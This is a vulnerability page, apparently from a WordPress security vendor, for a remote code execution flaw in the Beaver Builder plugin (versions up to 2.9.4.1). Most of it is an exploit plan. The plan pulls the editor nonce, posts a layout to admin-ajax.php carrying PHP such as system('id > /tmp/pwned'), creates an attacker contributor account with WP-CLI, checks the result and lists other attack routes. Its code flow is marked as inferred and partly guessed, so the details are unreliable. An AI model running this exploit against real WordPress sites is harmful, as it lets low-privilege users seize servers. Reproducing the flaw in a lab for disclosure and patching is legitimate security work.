Beaver Builder <= 2.9.4.1 - Authenticated (Contributor+) Remote Code Execution
Description
The Beaver Builder Page Builder – Drag and Drop Website Builder plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.9.4.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.9.4.1Source Code
WordPress.org SVNThis research plan outlines the steps to analyze and exploit **CVE-2025-69319**, an authenticated Remote Code Execution vulnerability in Beaver Builder. ## 1. Vulnerability Summary The Beaver Builder plugin fails to properly restrict the use of code-execution features (such as "Conditional Logic" o…
Show full research plan
This research plan outlines the steps to analyze and exploit CVE-2025-69319, an authenticated Remote Code Execution vulnerability in Beaver Builder.
1. Vulnerability Summary
The Beaver Builder plugin fails to properly restrict the use of code-execution features (such as "Conditional Logic" or "PHP Code" modules) to users with high-level capabilities (like unfiltered_html). In versions up to 2.9.4.1, a user with Contributor-level permissions can craft layout data that includes arbitrary PHP code. This code is processed and executed by the server when the layout is saved or rendered.
The vulnerability resides in the way the plugin handles module settings and layout rules during AJAX updates, specifically within the FLBuilderModel or associated AJAX handlers.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
fl_builder_save_layout(or potentiallyfl_ajax_update_settings) - Authentication: Authenticated (Contributor+)
- Vulnerable Parameter:
data(containing module settings and rules) - Payload Type: PHP code within Conditional Logic rules or specialized module settings.
- Precondition: The attacker must have access to the Beaver Builder editor for a post/page they can edit. Contributors can edit their own posts.
3. Code Flow (Inferred)
- Entry Point: An authenticated user calls
admin-ajax.phpwithaction=fl_builder_save_layout. - Handler:
FLBuilder::ajax_save_layout()is triggered. - Model Processing: This calls
FLBuilderModel::save_layout( $post_id, $publish, $data ). - Data Decoding: The
$data(JSON/Serialized) is parsed. It contains "node" (module) configurations. - Logic Evaluation: If a module contains "Conditional Logic" (Rules), Beaver Builder stores these settings.
- Sink: When the layout is rendered (either during the save preview or on the frontend),
FLBuilderConditionalLogic::evaluate_rule()is called. If the "source" is set to "php", the content of the "php" setting is passed to a sink likeeval()orcall_user_func(). - Vulnerability: The plugin fails to check if the user saving the layout has the
unfiltered_htmlcapability before allowing "php" as a logic source or module content.
4. Nonce Acquisition Strategy
Beaver Builder requires a nonce for its AJAX editor actions. This nonce is specific to the plugin's editor context.
- Post Creation: Use WP-CLI to create a post and enable Beaver Builder for it.
- Navigate: Use
browser_navigateto go to the Beaver Builder editor URL for that post.- URL format:
http://localhost:8080/?fl_builder&post_id=[POST_ID]
- URL format:
- Extract: Use
browser_evalto extract the nonce and required configuration from theFLBuilderConfigobject.- JS Variable:
window.FLBuilderConfig - Nonce Key:
window.FLBuilderConfig?.nonce - Layout Data Key:
window.FLBuilderConfig?.layoutData(useful for structural reference).
- JS Variable:
5. Exploitation Strategy
The goal is to send a save_layout request containing a module with a malicious "Conditional Logic" rule.
Step 1: Authentication and Setup
- Login as a Contributor.
- Identify a post ID the Contributor owns.
- Obtain the
fl_builder_noncevia thebrowser_evalmethod described above.
Step 2: The Malicious Request
Send a POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:fl_builder_save_layoutfl_builder_nonce:[EXTRACTED_NONCE]post_id:[POST_ID]publish:1data: A JSON-encoded layout object.
Payload Structure (in data):
The layout object must contain at least one module (node) with a logic rule.
{
"nodes": {
"test-node": {
"type": "module",
"settings": {
"rules": [
{
"source": "php",
"operator": "equals",
"value": "1",
"php": "system('id > /tmp/pwned');"
}
]
}
}
}
}
Step 3: Triggering Execution
In many cases, the save action itself triggers a preview render that executes the code. If not, navigating to the frontend view of the post will trigger FLBuilder::render_layout(), which evaluates the conditional logic.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Post: Create a post owned by the contributor.
wp post create --post_type=post --post_title="Exploit Post" --post_status=publish --post_author=[ATTACKER_ID]
- Plugin Config: Ensure Beaver Builder is enabled for "Posts" in the settings.
wp option update _fl_builder_post_types '["post", "page"]'
7. Expected Results
- HTTP Response: The
admin-ajax.phprequest should return a200 OKwith a JSON response (usually{"success": true}). - Execution: The PHP code within the
phpkey of the rule should execute. - Indicator: If the payload is
system('id'), the output might appear in the AJAX response or be written to a temporary file if redirected (e.g.,> /tmp/pwned).
8. Verification Steps
- Filesystem Check: Check if the payload successfully wrote to a file.
ls -l /tmp/pwned
- Database Check: Verify the malicious layout data was saved.
wp post get [POST_ID] --field=post_content(Beaver Builder stores encoded data in post content or meta).wp post meta get [POST_ID] _fl_builder_data
- Log Check: Check the WordPress debug log if
WP_DEBUGis enabled.
9. Alternative Approaches
If fl_builder_save_layout is too complex or fails:
- Alternative Action: Try
fl_ajax_update_settings. This action updates settings for a specific module node and is often used by the editor to save individual components.- Parameters:
action=fl_ajax_update_settings,node_id=[NODE_ID],settings=[JSON_SETTINGS].
- Parameters:
- Shortcode Injection: Attempt to use a Beaver Builder shortcode in the post content that specifies a malicious layout or template:
[fl_builder_insert_layout id="..."]if it accepts raw data. - Field Connections: Look for the "Field Connections" feature (usually triggered by a plus icon in settings). If it allows a
callbackorfunctionparameter, use it to call dangerous functions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.